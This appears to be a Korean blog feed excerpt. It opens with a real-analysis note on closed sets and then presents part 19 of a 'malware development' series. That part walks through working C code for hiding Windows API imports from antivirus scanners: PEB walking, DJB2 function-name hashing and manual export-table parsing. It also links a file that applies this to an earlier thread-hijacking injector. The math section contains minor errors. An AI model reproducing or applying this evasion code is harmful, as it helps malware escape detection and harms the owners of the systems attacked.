&lt;p data-ke-size=&quot;size16&quot;&gt;$A \subseteq \mathbb{R}$에 대해,&lt;br /&gt;$\exists \epsilon &amp;gt; 0, \ V_{\epsilon}(x)\bigcap A = {x}$인 limit point가 아닌 x를 isolated point라 부른다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, 어떤 $\epsilon$에 대해, 근방에서 A의 원소가 자기 자신밖에 존재하면&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; x를 고립점이라 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 집합 = ${ \text{limit_point} } \cup { \text{isolated_point} }$&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;closed set&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$\forall \text{limit point} \in A$인 집합 A를 closed set이라 한다.&lt;br /&gt;$\Leftrightarrow a_n \in A \text{ and } \ a_n \to L \Rightarrow L \in A$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; closed set은 limit에 대해 닫혀있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) [0, 1]은 closed set인가?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 아까 (0, 1)의 limit point가 [0, 1]이었고,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; [0, 1]에서도 마찬가지이다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $[0,1] \subseteq [0,1]$이므로, $[0,1]$은 closed&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}은 closed set인가?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 아까 {$\frac{1}{n}$ | $n \in \mathbb{N}$}의 limit point가 {0}이란 것은 밝혔다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 따라서, {0} $\in$ {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}이므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}은 closed&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;closed set의 성질&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;closed set의 유한번의 union은 closed set&lt;br /&gt;단, 무한번의 교집합은 not closed일수도 있음...&lt;br /&gt;예) $\bigcup\limits^{\infty}{(\frac{1}{n}, 1)} = (0, 1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt; 이건 open set이다&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;intersection은 closed set에 영향 없음&lt;/li&gt;
&lt;li&gt;$\mathbb{R}, \ \emptyset$은 closed set이다.&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 증명은 open set의 성질에 드모르간 정리를 사용하면 됨&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;닫힌 집합 내부의 수열이 수렴하면 극한값을 포함한다&lt;br /&gt;닫힌 집합 K에 대해 $(a_n) \subseteq K$로 수열을 잡자.&lt;br /&gt;이때, $a_n \to L$이라 하자.&lt;br /&gt;만약 $L \not\in K$라면,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $L \in K^C$이며, $K^C$는 open set이다. &lt;br /&gt;&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\Rightarrow&amp;nbsp;\exists&amp;nbsp;\epsilon&amp;nbsp;&amp;gt;&amp;nbsp;0,&amp;nbsp;\&amp;nbsp;&amp;nbsp;V_{\epsilon}(L)&amp;nbsp;\subseteq&amp;nbsp;K^C$ &lt;br /&gt;&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 그러나,&amp;nbsp;극한의&amp;nbsp;정의에&amp;nbsp;의해, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall&amp;nbsp;\epsilon&amp;nbsp;&amp;gt;&amp;nbsp;0,&amp;nbsp;\&amp;nbsp;\exists&amp;nbsp;n&amp;nbsp;\ge&amp;nbsp;N,&amp;nbsp;\&amp;nbsp;|a_N&amp;nbsp;-&amp;nbsp;L|&amp;nbsp;&amp;lt;&amp;nbsp;\epsilon$ &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &amp;nbsp;따라서,&amp;nbsp;$n_k&amp;nbsp;&amp;gt;&amp;nbsp;N$으로&amp;nbsp;잡으면,&amp;nbsp;$a_N&amp;nbsp;\in&amp;nbsp;V_{\epsilon}(L)&amp;nbsp;\subseteq&amp;nbsp;K^C$ &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &amp;nbsp;-&amp;gt;&amp;nbsp;그러나,&amp;nbsp;$a_n$은&amp;nbsp;K의&amp;nbsp;원소로만&amp;nbsp;잡았으므로,&amp;nbsp;모순&lt;br /&gt;&amp;nbsp;-&amp;gt; 따라서, $L \in K$여야 한다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/281</guid>
      <comments>https://verybigsilver.tistory.com/281#entry281comment</comments>
      <pubDate>Tue, 19 May 2026 16:26:26 +0900</pubDate>
    </item>
    <item>
      <title>[악성코드 개발](19)[IAT bypass]</title>
      <link>https://verybigsilver.tistory.com/280</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이전까지는 직접 스레드 만드는 것을 우회하고&lt;br /&gt;의심을 피하기 위해 스레드를 잠깐 멈추고 내 페이로드를 실행 후 원복하는 것까지 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이건 의심을 덜을 수는 있지만, 근본적인 해결책은 아니다.&lt;br /&gt;&lt;a href=&quot;https://verybigsilver.tistory.com/258&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;악성코드 개발 18&lt;/a&gt;에서 사용된 API 함수인 &lt;code&gt;getThreadContext&lt;/code&gt;, &lt;code&gt;virtualAllocEx&lt;/code&gt; 등을 &lt;a href=&quot;https://verybigsilver.tistory.com/237&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;백신 6&lt;/a&gt;의 IAT 백신에 등록하기만 해도 잡힐 것이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;IAT의 동작&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 IAT가 뭔지는 알아봤는데,&lt;br /&gt;IAT를 우회하기 위해 더 자세히 IAT가 dll과 사용된 API를 저장하는 방식을 알아보자.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;.idata
 ├── IMAGE_IMPORT_DESCRIPTOR
 ├── DLL 이름 문자열
 ├── Import Lookup Table(INT/ILT)
 ├── Import Address Table(IAT)
 └── Hint/Name Table&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, IAT라고 뭉뚱그리긴 했지만 &lt;a href=&quot;https://verybigsilver.tistory.com/237&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;백신 6&lt;/a&gt;의 백신은 INT를 순회하며 탐지하는 것이다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; IAT, INT, Import descriptor를 IAT라 섞어 말하기도 한다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 idata 섹션에 외부 함수 정보를 써놓는다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;.c 파일을 컴파일 하는 과정 중, .o를 만드는 과정에서 외부 함수를 참조하라 써놓음&lt;/li&gt;
&lt;li&gt;링킹 과정에서 해당 설명을 참고해 특정 .dll 등을 참조하라 import metadata에 써놓음&lt;br /&gt;-&amp;gt; 이떄 IAT가 생성됨 (아직 실제 주소 X)&lt;/li&gt;
&lt;li&gt;exe 파일 실행 시 실제 dll에서 함수 주소를 받아 IAT에 덮어 씀&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;dynamic API call&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;windows의 프로세스 내부에는 PEB라는 구조체가 있으며,&lt;br /&gt;PEB의 loaded module list를 읽으면&lt;br /&gt;winapi에 필요한 kernel32.dll의 base를 얻을 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;export table을 직접 파싱하고&lt;br /&gt;원하는 winapi_function의 주소를 얻으면&lt;br /&gt;실제 함수 주소 = kernel32.dll base + addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원하는 함수를 함수 포인터로 바꿔서 호출 가능!&lt;br /&gt;이떄, 직접 API 함수를 호출한게 아니라, 그냥 사용자 함수를 호출한 것처럼 보이므로, IAT에 흔적이 남지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 즉, IAT의 역할을 내가 직접 해서 idata에 기록이 안되게 하는 방법!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 구현&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 간단?한 PoC 후 &lt;a href=&quot;https://verybigsilver.tistory.com/258&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;악성코드 개발 18&lt;/a&gt;에 적용해보겠다.&lt;/p&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;
#include &amp;lt;winternl.h&amp;gt;
#include &amp;lt;intrin.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

#pragma comment(lib, &quot;ntdll.lib&quot;)

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;

    PVOID DllBase;
    PVOID EntryPoint;

    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;

} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;

typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;

    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;

} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;

typedef struct _MY_PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];

    PVOID Reserved3[2];

    PMY_PEB_LDR_DATA Ldr;

} MY_PEB, * PMY_PEB;

typedef struct _EXPORT_TABLE_INFO {
    PDWORD AddressOfFunctions;
    PDWORD AddressOfNames;
    PWORD  AddressOfOrdinals;
    DWORD  NumberOfNames;
} EXPORT_TABLE_INFO, *PEXPORT_TABLE_INFO;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 PEB를 저장할 구조체를 적당히 정의하고&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;필요 함수 정의&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/vxunderground/vx-api&quot;&gt;https://github.com/vxunderground/vx-api&lt;/a&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 해당 레포에서 유용한 함수 몇 개 가져옴&lt;br /&gt;&amp;nbsp; &amp;nbsp; VX-API: windows 환경의 악성코드 함수/스니펫 모음집&lt;br /&gt;-&amp;gt; 여기에서는 PEB 받기, hash함수를 가져왔다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// PEB 얻기
PMY_PEB GetPeb() {
#ifdef _WIN64
    return (PMY_PEB)__readgsqword(0x60);
#else
    return (PMY_PEB)__readfsdword(0x30);
#endif
}

// DJB2 HASH
DWORD HashStringDjb2A(LPCSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        Hash = ((Hash &amp;lt;&amp;lt; 5) + Hash) + c;
    }

    return Hash;
}

DWORD HashStringDjb2W(LPCWSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        if (c &amp;gt;= 'a' &amp;amp;&amp;amp; c &amp;lt;= 'z')
            c -= 0x20;

        Hash = ((Hash &amp;lt;&amp;lt; 5) + Hash) + c;
    }

    return Hash;
}

// 멤버 포인터만 있을 때 구조체 시작 주소 역산 매크로
// LIST_ENTRY* -&amp;gt; MY_NODE* 얻기
#ifndef CONTAINING_RECORD
#define CONTAINING_RECORD(address, type, field) \
    ((type *)((PCHAR)(address) - (ULONG_PTR)(&amp;amp;((type *)0)-&amp;gt;field)))
#endif&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;PEB walking&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dll base를 얻기 위해선 PEB를 봐야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PEB (Process Environment Block)&lt;br /&gt;loader 정보 (Ldr)
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;  dll의 목록을 linked list로 관리
  (dll name, dll base, ep, ...)&lt;/code&gt;&lt;/pre&gt;
heap&lt;br /&gt;process parameter&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, Ldr을 순회하며 보면 될 것이다!&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;// PEB WALKING으로 DLL BASE 찾기
DWORD64 GetModuleHandleByHash(DWORD Hash){
    PMY_PEB pPeb = GetPeb();

    if (!pPeb)
        return 0;

    PMY_PEB_LDR_DATA pLdr = pPeb-&amp;gt;Ldr;

    if (!pLdr)
        return 0;

    PLIST_ENTRY pHead = &amp;amp;pLdr-&amp;gt;InLoadOrderModuleList;

    PLIST_ENTRY pCurrent = pHead-&amp;gt;Flink;

    while (pCurrent != pHead)
    {
        PMY_LDR_DATA_TABLE_ENTRY pEntry =
            CONTAINING_RECORD(
                pCurrent,
                MY_LDR_DATA_TABLE_ENTRY,
                InLoadOrderLinks
            );

        if (pEntry-&amp;gt;BaseDllName.Buffer)
        {
            if (HashStringDjb2W(
                pEntry-&amp;gt;BaseDllName.Buffer) == Hash)
            {
                return (DWORD64)pEntry-&amp;gt;DllBase;
            }
        }

        pCurrent = pCurrent-&amp;gt;Flink;
    }

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;GetModuleHandleW()&lt;/code&gt;를 직접 구현한 것과 거의 비슷하다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;PEB를 얻어오고&lt;/li&gt;
&lt;li&gt;loader 정보에 접근하여&lt;/li&gt;
&lt;li&gt;로드된 dll 리스트를 순회하며&lt;/li&gt;
&lt;li&gt;hash(dll_name) = hash(target_dll)이면 dll base 반환&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;export table parsing&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dll 내부의 export table에 함수의 주소 정보가 저장됨&lt;br /&gt;-&amp;gt; export table을 알아내야 함&lt;/p&gt;
&lt;pre class=&quot;xl&quot;&gt;&lt;code&gt;// EXPORT TABLE PARSING
BOOL GetExportTableInfo(DWORD64 ModuleBase, PEXPORT_TABLE_INFO ExportInfo){
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ModuleBase;

    if (pDos-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE){
        return FALSE;
    }

    PIMAGE_NT_HEADERS pNt =
        (PIMAGE_NT_HEADERS)(ModuleBase + pDos-&amp;gt;e_lfanew);

    if (pNt-&amp;gt;Signature != IMAGE_NT_SIGNATURE){
        return FALSE;
    }

    IMAGE_DATA_DIRECTORY ExportDir =
        pNt-&amp;gt;OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    if (!ExportDir.VirtualAddress){
        return FALSE;
    }

    PIMAGE_EXPORT_DIRECTORY pExport =
        (PIMAGE_EXPORT_DIRECTORY)(
            ModuleBase + ExportDir.VirtualAddress);

    ExportInfo-&amp;gt;AddressOfFunctions =
        (PDWORD)(ModuleBase + pExport-&amp;gt;AddressOfFunctions);

    ExportInfo-&amp;gt;AddressOfNames =
        (PDWORD)(ModuleBase + pExport-&amp;gt;AddressOfNames);

    ExportInfo-&amp;gt;AddressOfOrdinals =
        (PWORD)(ModuleBase + pExport-&amp;gt;AddressOfNameOrdinals);

    ExportInfo-&amp;gt;NumberOfNames =
        pExport-&amp;gt;NumberOfNames;

    return TRUE;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;dll base에서 시작해 Dos header 읽기&lt;br /&gt;-&amp;gt; NT header 오프셋 알아옴&lt;/li&gt;
&lt;li&gt;NT header 읽기&lt;/li&gt;
&lt;li&gt;optional header 읽기&lt;br /&gt;-&amp;gt; export directory RVA 알아옴&lt;/li&gt;
&lt;li&gt;export directory에서 데이터 읽기&lt;br /&gt;저장된 RVA moduleBase를 더해 VA로 바꾸고&lt;br /&gt;PEXPORT_TABLE_INFO ExportInfo에 저장&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;최종 addr 계산&lt;/h4&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;DWORD64 GetProcAddressDjb2(DWORD64 ModuleBase, DWORD64 Hash){
    EXPORT_TABLE_INFO ExportInfo = {0};

    if (!GetExportTableInfo(ModuleBase, &amp;amp;ExportInfo)){
        return 0;
    }

    for (DWORD i = 0; i &amp;lt; ExportInfo.NumberOfNames; i++)
    {
        LPCSTR pFuncName =
            (LPCSTR)(
                ModuleBase +
                ExportInfo.AddressOfNames[i]);

        if (HashStringDjb2A(pFuncName) == Hash)
        {
            WORD Ordinal =
                ExportInfo.AddressOfOrdinals[i];

            DWORD FunctionRVA =
                ExportInfo.AddressOfFunctions[Ordinal];

            return ModuleBase + FunctionRVA;
        }
    }

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;base랑 export table 정보 가지고&lt;br /&gt;원하는 function의 hash와 일치하는 함수가 나올 때 까지 순회하며&lt;br /&gt;만약 조건이 맞으면 해당 주소 반환&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;main&lt;/h4&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;// Beep typedef
typedef BOOL(WINAPI* pBeep_t)(
    DWORD dwFreq,
    DWORD dwDuration
    );

int main()
{
    //DWORD kernelHash = HashStringDjb2W(L&quot;KERNEL32.DLL&quot;);
    // kernel32.dll의 해시를 외부에서 구해 하드코딩함
    DWORD kernelHash = 1843107157;

    DWORD64 kernelBase = GetModuleHandleByHash(kernelHash);

    if (!kernelBase)
    {
        printf(&quot;[-] Failed to find kernel32\n&quot;);
        return -1;
    }

    printf(&quot;[+] kernel32 : 0x%llX\n&quot;, kernelBase);

    //DWORD beepHash = HashStringDjb2A(&quot;Beep&quot;);
    DWORD beepHash = 2088958881;

    pBeep_t myBeep =
        (pBeep_t)GetProcAddressDjb2(
            kernelBase,
            beepHash
        );

    if (!myBeep)
    {
        printf(&quot;[-] Failed to resolve Beep\n&quot;);
        return -1;
    }

    printf(&quot;[+] Beep : 0x%llX\n&quot;, (DWORD64)myBeep);

    myBeep(750, 500);

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;beep 함수를 흔적 없이 부를 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pBeep_t 타입을 정의해, 매개변수, 반환값 등이 꼬이지 않게 했으며,&lt;br /&gt;직접 얻어온 beep의 주소를 통해 myBeep이라는 함수로 호출할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이전에 만든 악성코드도 숨기고 싶은 API를 해당 과정으로 바꿔주면 IAT 탐지를 회피할 수 있다!&lt;br /&gt;&amp;nbsp; &amp;nbsp; 지피티한테 Beep을 MyBeep으로 바꾼 방식으로 고쳐달라고 하면 잘 바꿔준다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; (너무 길어서 첨부파일 참조...)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/l9RYa/dJMcadIHobH/kYDbH26tKwPPKb4YC8U1kK/dynamic_API_thread_hijacking.c?attach=1&amp;amp;knm=tfile.c&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;dynamic_API_thread_hijacking.c&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.01MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdE6qN/dJMcaja6TxQ/Ih6jcOSAFHprDYqwdW2bZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdE6qN/dJMcaja6TxQ/Ih6jcOSAFHprDYqwdW2bZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdE6qN/dJMcaja6TxQ/Ih6jcOSAFHprDYqwdW2bZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdE6qN%2FdJMcaja6TxQ%2FIh6jcOSAFHprDYqwdW2bZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;447&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 dynamic API를 적용하기 전의 PE파일이다.&lt;br /&gt;의심되는 Get/SetThreadContext나 VirtualAcllocEx등이 고스란히 보인다...&lt;br /&gt;&amp;nbsp; &amp;nbsp; 21개의 함수를 import&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;950&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blTeN5/dJMcad24V4a/atiVHQj6gTcKf8Z9L2pBJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blTeN5/dJMcad24V4a/atiVHQj6gTcKf8Z9L2pBJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blTeN5/dJMcad24V4a/atiVHQj6gTcKf8Z9L2pBJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblTeN5%2FdJMcad24V4a%2FatiVHQj6gTcKf8Z9L2pBJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;420&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면, 적용한 파일은 동일한 동작을 하는 코드임에도&lt;/p&gt;
